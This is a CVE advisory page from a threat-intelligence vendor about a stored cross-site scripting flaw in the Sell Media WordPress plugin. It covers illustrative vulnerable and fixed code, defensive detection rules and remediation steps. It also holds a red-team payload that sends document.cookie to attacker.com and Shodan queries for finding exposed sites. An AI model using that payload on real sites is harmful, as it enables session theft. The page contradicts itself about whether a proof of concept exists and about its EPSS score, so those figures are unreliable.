☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-11777

CVE-2024-11777 Cross-Site Scripting in Sell media
📅 PUBLISHED: 2025-01-07 03:21 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11777 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sell Media WordPress plugin, affecting versions up to and including 2.5.8.5. The flaw resides in the sell_media_search_form_gutenberg shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's shortcode handling. No public exploit code or proof-of-concept (PoC) is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites with untrusted contributors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Sell Media WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader WordPress ecosystem and is not an NPM, PyPI, Go, or Ruby package. Users should verify the integrity of the plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level access)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access, but Contributor-level permissions are often granted to multiple users. Successful exploitation can lead to persistent XSS, affecting all visitors to the compromised page.

Deep Dive & Mechanics

The vulnerability is in the sell_media_search_form_gutenberg shortcode, which is used to render a search form via the Gutenberg block editor. The shortcode accepts user-supplied attributes (e.g., title, placeholder, button_text) that are directly output into the page without proper sanitization or escaping.

Root Cause:

  • The plugin uses shortcode_atts() to merge user-supplied attributes with defaults but fails to sanitize or escape the attribute values before outputting them in the HTML.
  • For example, an attribute like title="<script>alert('XSS')</script>" would be rendered as-is in the page source, allowing script execution.

Attack Flow:

  1. An attacker with Contributor-level access creates or edits a post/page.
  2. The attacker inserts the [sell_media_search_form_gutenberg] shortcode with a malicious attribute, e.g., [sell_media_search_form_gutenberg title="<script>/* malicious code */</script>"].
  3. When the page is saved and viewed by any user (including admins), the injected script executes in their browser.
  4. The attacker can then steal cookies, redirect users, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.5.8.5):

// In sell-media.php or similar
function sell_media_search_form_gutenberg_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Search Media',
        'placeholder' => 'Search...',
        'button_text' => 'Search'
    ), $atts);

    // Direct output without escaping
    $output = '<div class="sell-media-search-form">';
    $output .= '<h3>' . $atts['title'] . '</h3>';
    $output .= '<input type="text" placeholder="' . $atts['placeholder'] . '" />';
    $output .= '<button>' . $atts['button_text'] . '</button>';
    $output .= '</div>';

    return $output;
}
add_shortcode('sell_media_search_form_gutenberg', 'sell_media_search_form_gutenberg_shortcode');

Patched Code (hypothetical fix):

function sell_media_search_form_gutenberg_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Search Media',
        'placeholder' => 'Search...',
        'button_text' => 'Search'
    ), $atts);

    // Properly escape output
    $output = '<div class="sell-media-search-form">';
    $output .= '<h3>' . esc_html($atts['title']) . '</h3>';
    $output .= '<input type="text" placeholder="' . esc_attr($atts['placeholder']) . '" />';
    $output .= '<button>' . esc_html($atts['button_text']) . '</button>';
    $output .= '</div>';

    return $output;
}
add_shortcode('sell_media_search_form_gutenberg', 'sell_media_search_form_gutenberg_shortcode');

Key Differences:

  • esc_html() is used for HTML context (title, button text).
  • esc_attr() is used for attribute context (placeholder).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Sell Media plugin <= 2.5.8.5.
  • A user account with Contributor-level permissions or higher.

Steps:

  1. Log in as a Contributor.
  2. Create a new post or page.
  3. In the editor (Classic or Gutenberg), insert the shortcode with a malicious attribute:
    [sell_media_search_form_gutenberg title="<script>alert('XSS')</script>"]
    
  4. Publish or preview the page.
  5. The script executes when the page is loaded.

Advanced Payload:

[sell_media_search_form_gutenberg title="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts/pages containing the shortcode sell_media_search_form_gutenberg with suspicious attributes (e.g., <script>, onerror=, javascript:).
  • Review user activity logs for unusual shortcode usage by Contributors.

Prevention:

  • Restrict Contributor-level access to trusted users only.
  • Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
  • Apply input validation and output escaping as shown in the patched code.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Presence of the shortcode [sell_media_search_form_gutenberg] with unescaped HTML/JavaScript in post content.
    • Modified plugin files (e.g., sell-media.php) containing malicious shortcode handlers.
  • Network Indicators:

    • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
    • Suspicious document.cookie exfiltration in web logs.
  • Log Indicators:

    • WordPress audit logs showing shortcode insertion by non-admin users.
    • Web server logs with POST requests containing XSS payloads in post_content.

Detection Engineering

YARA Rule

rule CVE_2024_11777_Sell_Media_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Sell Media plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11777"
    strings:
        $shortcode = /\[sell_media_search_form_gutenberg[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>|onerror=|onload=|javascript:/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-11777 Sell Media Stored XSS
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects stored XSS via Sell Media shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'sell_media_search_form_gutenberg'
        http.request_body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11777 Sell Media Stored XSS"; flow:to_server,established; content:"sell_media_search_form_gutenberg"; http_uri; pcre:"/<script[^>]*>|onerror=|onload=|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not essential, or restrict its use to trusted administrators only.
  2. Remove Contributor-level access from untrusted users until a patch is applied.
  3. Manually audit all posts/pages for the shortcode and remove any suspicious instances.

Long-term Fix:

  • Apply output escaping (esc_html(), esc_attr()) to all shortcode attributes as shown in the patched code.
  • Monitor the vendor's website for an official patch and update to the latest version when available.

Workarounds:

  • Use a security plugin (e.g., Wordfence) to block XSS payloads.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/sell-media"
http.html:"sell-media" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11777/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.